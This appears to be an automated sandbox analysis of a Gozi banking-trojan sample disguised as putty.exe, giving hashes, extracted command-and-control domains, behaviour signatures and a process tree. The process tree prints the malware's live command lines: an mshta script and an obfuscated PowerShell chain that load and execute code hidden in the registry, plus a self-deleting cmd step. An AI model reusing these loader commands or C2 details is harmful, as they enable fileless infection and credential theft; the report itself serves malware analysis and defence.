Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    06-10-2023 11:58

General

  • Target

    putty.exe

  • Size

    293KB

  • MD5

    01435632dca9afc151eec77862bfbc2b

  • SHA1

    9bbb4ae83131fafcd14d580810b14f48d2d30837

  • SHA256

    2adca18a6ba459e5325ce934d473c08a411ae5b8049ca4c37ea9b300553b1f40

  • SHA512

    61e542b6413381f6c4d0f7e08154d7d6dbe44fe9879788b1b6a3d2b32c51ce93dc0a18ac5efb87a6a91292e95c97dd15eaf50c109f869f1acfee6087c10fd677

  • SSDEEP

    3072:28g/bYYX0XH1anZAsaA6eRESzHxHH3zt8l7Mjd1i0ot:DyYa0XUZdaAnEqHxn3R82i0o

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

systemcheck.top

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Deletes itself 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Users\Admin\AppData\Local\Temp\putty.exe
      "C:\Users\Admin\AppData\Local\Temp\putty.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:3040
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Pdkm='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pdkm).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\24F5F9D3-33BE-F6ED-DD98-178A614C3B5E\\\StopDiagram'));if(!window.flag)close()</script>"
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2348
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name kdxvsley -value gp; new-alias -name rwhpcnio -value iex; rwhpcnio ([System.Text.Encoding]::ASCII.GetString((kdxvsley "HKCU:Software\AppDataLow\Software\Microsoft\24F5F9D3-33BE-F6ED-DD98-178A614C3B5E").ListMail))
        3⤵
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ggsj99te.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2932
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES79E2.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC79D1.tmp"
            5⤵
              PID:3068
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\9ic8k09z.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2804
            • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7B49.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7B48.tmp"
              5⤵
                PID:1880
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\putty.exe"
          2⤵
          • Deletes itself
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2900
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:988
        • C:\Windows\syswow64\cmd.exe
          "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
          2⤵
            PID:1312

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\9ic8k09z.dll

          Filesize

          3KB

          MD5

          1a1ab0440c7c4dc2e08accb02222ea66

          SHA1

          53c96d9a50d6894c0f7ecc3a1ab4f51d0f0d4ffe

          SHA256

          045dd05367e1c725dcee1588e87e8452332cbf60fbdd6c54ea6f4baf5ed6e163

          SHA512

          91634d0536cfe9c368bb925029790c66270695b3596cd893e6a4a6f3d71663c16e1ba2957d22a689d8a8c4c313172108405fd4ea0c8b530479345d0302f93f47

        • C:\Users\Admin\AppData\Local\Temp\9ic8k09z.pdb

          Filesize

          7KB

          MD5

          e91e9283c0b1e7d367e049080e038a0f

          SHA1

          8f65e841191f9d67682506954bd71ebf59c29d96

          SHA256

          8d678ac49d5f1a74808aab6340af1380a818c5db4293e348d7d656efd4c4626a

          SHA512

          2c70686a5bdbb6b1e638c4e7ba7c75768bf6f134908a9a727ba2c6c7a10efd599b067a421ef72af56ee8741de8f59535b2996abeb5b0898087402e10ea9216ac

        • C:\Users\Admin\AppData\Local\Temp\RES79E2.tmp

          Filesize

          1KB

          MD5

          3f4eabc1b783dd9b71bba625456dc750

          SHA1

          32beb1f1a4f981873f5c54e2a6d59b167287179f

          SHA256

          5c99886882b90d29baec60ad2ab8914eae036e996379d2005fbcd77f22557579

          SHA512

          6a87059f284677efc5a0a2653b2845a556afd98789133f2b362d8d1ed3a18ba5eb49f819025fdb25f325e1dfa0341afb21ef79f063de5ae5cb0acf79241c1723

        • C:\Users\Admin\AppData\Local\Temp\RES7B49.tmp

          Filesize

          1KB

          MD5

          e0a5cd3c39d8d453fe3b61e67005eeac

          SHA1

          5ac8e9cc7e8d5252dec0ce2621797f2010c937e4

          SHA256

          5ecf5884d6bcd2e747a381a256fb841437617230cf9886d19ee27bde156e7034

          SHA512

          937a66d99ca394a5146b5ea944ec9eec9590911e0e0cd4baa5c4212bdeeb92679708c59029b4bef8ae2ed2d9ab38b93c24ba903f4bdcfb0e9cd94dcdb47f85dc

        • C:\Users\Admin\AppData\Local\Temp\ggsj99te.dll

          Filesize

          3KB

          MD5

          f1c9b88a7d9b78504003203446c9513e

          SHA1

          b3b92474d652a1a2849fe8be76717dd330e8541f

          SHA256

          b2597aaafd266a4c4fee7e7f378a5e659edea74af56e33d0151fb7f79dcb09ba

          SHA512

          fac97ee800d9245e5c7eb3196578b011aa707b2f725fe257a8ec30a158ffbf98d9bfc08303a701aeb3cdec78b89c4f01a6a510da821f3a844ac221597b23b4c4

        • C:\Users\Admin\AppData\Local\Temp\ggsj99te.pdb

          Filesize

          7KB

          MD5

          02a9f1ee7ba2f7afaeb072b43da61c9f

          SHA1

          60a459647bf9fc49c19065a9bac656093c181733

          SHA256

          44d50d98cb533e6bcb35f659f2c1f104d0c805c8ad56c68682b56017e0574861

          SHA512

          4e36d57d53e1f77d51215c29f2697b0c76ccf2b710be752ab7559bf90214f6db2240b356d34b0606f3ed5c6fc27cbe1fcbc248996a25633e4907f883d48ee9a7

        • \??\c:\Users\Admin\AppData\Local\Temp\9ic8k09z.0.cs

          Filesize

          406B

          MD5

          ca8887eacd573690830f71efaf282712

          SHA1

          0acd4f49fc8cf6372950792402ec3aeb68569ef8

          SHA256

          568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

          SHA512

          2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

        • \??\c:\Users\Admin\AppData\Local\Temp\9ic8k09z.cmdline

          Filesize

          309B

          MD5

          7709b0120cb7cb03414ce46bcdf8ebb0

          SHA1

          fcd6a97c203f7971f424332bd1b1da3aaee53d04

          SHA256

          aa0afc7d370e651607b9144efb860ab67a28ac309da9ae3ba6f0e0016329bec3

          SHA512

          44e541930f44625b475392780d34069ddd8cfd25a3690a1a92a417112cb94f0f5d615d8e7e107629120267c137079aaa47068b5b02f875ce1c7dc7b98f082527

        • \??\c:\Users\Admin\AppData\Local\Temp\CSC79D1.tmp

          Filesize

          652B

          MD5

          85b99c511a314357af0b82742e40c30c

          SHA1

          37aad490f94d282aa90bc2683a80d9b99c51f534

          SHA256

          077a6fbdc438e25eb4fa4908e0024d6347c39bc8dc5f12044eddf7a9f8de48c7

          SHA512

          f3a7612e78e2b2c074cc0f36c05744616dc97957da07906dba73a72b0f73730a1ec43df105228d5076fa2c11343aa811b0ad90577794a97a34ea3dcc7069e134

        • \??\c:\Users\Admin\AppData\Local\Temp\CSC7B48.tmp

          Filesize

          652B

          MD5

          2837e344df43e5a76edff649a4dc4534

          SHA1

          b975935239b4305bf92d301a64b99506092002da

          SHA256

          13fd8eff28e3fe8d77a6e5af5729cea4cf6034cf87b992899882da75db4f70fc

          SHA512

          84e0cea534a386d780aa9f49db32ba9b6edca001dfe69742f07fcdb33864f028b11031a95f63c0aac87012e1f5ed13458db9345ec0cd91b960beeb81e6f4a0fe

        • \??\c:\Users\Admin\AppData\Local\Temp\ggsj99te.0.cs

          Filesize

          405B

          MD5

          caed0b2e2cebaecd1db50994e0c15272

          SHA1

          5dfac9382598e0ad2e700de4f833de155c9c65fa

          SHA256

          21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

          SHA512

          86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

        • \??\c:\Users\Admin\AppData\Local\Temp\ggsj99te.cmdline

          Filesize

          309B

          MD5

          de220fb68860b20be179d4cfbae57373

          SHA1

          01c6429eabb6f39c457c5d83816fd71e6cf4994f

          SHA256

          7ea8544e5ef9839f3de63f1412d8f8234d8aeaba624193c298782645bb023d30

          SHA512

          1035c5364e7d8b582ddfe5c66500c1702280bb31f5033e587b37e398a8d666bdefbf90254693515fe02553f0bdf3f37c68b744ac25932132770fc57435037f3d

        • memory/988-76-0x00000000002E0000-0x0000000000384000-memory.dmp

          Filesize

          656KB

        • memory/988-89-0x00000000002E0000-0x0000000000384000-memory.dmp

          Filesize

          656KB

        • memory/988-74-0x000007FFFFFDC000-0x000007FFFFFDD000-memory.dmp

          Filesize

          4KB

        • memory/988-77-0x0000000000090000-0x0000000000091000-memory.dmp

          Filesize

          4KB

        • memory/1280-57-0x0000000002A00000-0x0000000002A01000-memory.dmp

          Filesize

          4KB

        • memory/1280-56-0x0000000006BD0000-0x0000000006C74000-memory.dmp

          Filesize

          656KB

        • memory/1280-88-0x0000000006BD0000-0x0000000006C74000-memory.dmp

          Filesize

          656KB

        • memory/1312-84-0x0000000000160000-0x0000000000161000-memory.dmp

          Filesize

          4KB

        • memory/1312-91-0x00000000002C0000-0x0000000000358000-memory.dmp

          Filesize

          608KB

        • memory/1312-87-0x00000000002C0000-0x0000000000358000-memory.dmp

          Filesize

          608KB

        • memory/1312-81-0x00000000002C0000-0x0000000000358000-memory.dmp

          Filesize

          608KB

        • memory/2584-16-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

          Filesize

          32KB

        • memory/2584-35-0x00000000028D0000-0x00000000028D8000-memory.dmp

          Filesize

          32KB

        • memory/2584-15-0x000000001B200000-0x000000001B4E2000-memory.dmp

          Filesize

          2.9MB

        • memory/2584-20-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

          Filesize

          9.6MB

        • memory/2584-17-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

          Filesize

          9.6MB

        • memory/2584-52-0x00000000028E0000-0x00000000028E8000-memory.dmp

          Filesize

          32KB

        • memory/2584-18-0x0000000002920000-0x00000000029A0000-memory.dmp

          Filesize

          512KB

        • memory/2584-55-0x000000001B650000-0x000000001B68D000-memory.dmp

          Filesize

          244KB

        • memory/2584-19-0x0000000002920000-0x00000000029A0000-memory.dmp

          Filesize

          512KB

        • memory/2584-21-0x0000000002920000-0x00000000029A0000-memory.dmp

          Filesize

          512KB

        • memory/2584-65-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

          Filesize

          9.6MB

        • memory/2584-66-0x000000001B650000-0x000000001B68D000-memory.dmp

          Filesize

          244KB

        • memory/2804-43-0x00000000006C0000-0x0000000000740000-memory.dmp

          Filesize

          512KB

        • memory/2900-69-0x0000000000310000-0x0000000000311000-memory.dmp

          Filesize

          4KB

        • memory/2900-68-0x0000000001B60000-0x0000000001C04000-memory.dmp

          Filesize

          656KB

        • memory/2900-90-0x0000000001B60000-0x0000000001C04000-memory.dmp

          Filesize

          656KB

        • memory/2900-67-0x000007FFFFFD3000-0x000007FFFFFD4000-memory.dmp

          Filesize

          4KB

        • memory/3040-9-0x0000000000220000-0x000000000022B000-memory.dmp

          Filesize

          44KB

        • memory/3040-10-0x00000000042F0000-0x00000000042F2000-memory.dmp

          Filesize

          8KB

        • memory/3040-1-0x0000000002350000-0x0000000002450000-memory.dmp

          Filesize

          1024KB

        • memory/3040-8-0x0000000000400000-0x000000000228F000-memory.dmp

          Filesize

          30.6MB

        • memory/3040-7-0x0000000002350000-0x0000000002450000-memory.dmp

          Filesize

          1024KB

        • memory/3040-4-0x0000000000340000-0x000000000034D000-memory.dmp

          Filesize

          52KB

        • memory/3040-3-0x0000000000400000-0x000000000228F000-memory.dmp

          Filesize

          30.6MB

        • memory/3040-75-0x0000000002350000-0x0000000002450000-memory.dmp

          Filesize

          1024KB

        • memory/3040-2-0x0000000000220000-0x000000000022B000-memory.dmp

          Filesize

          44KB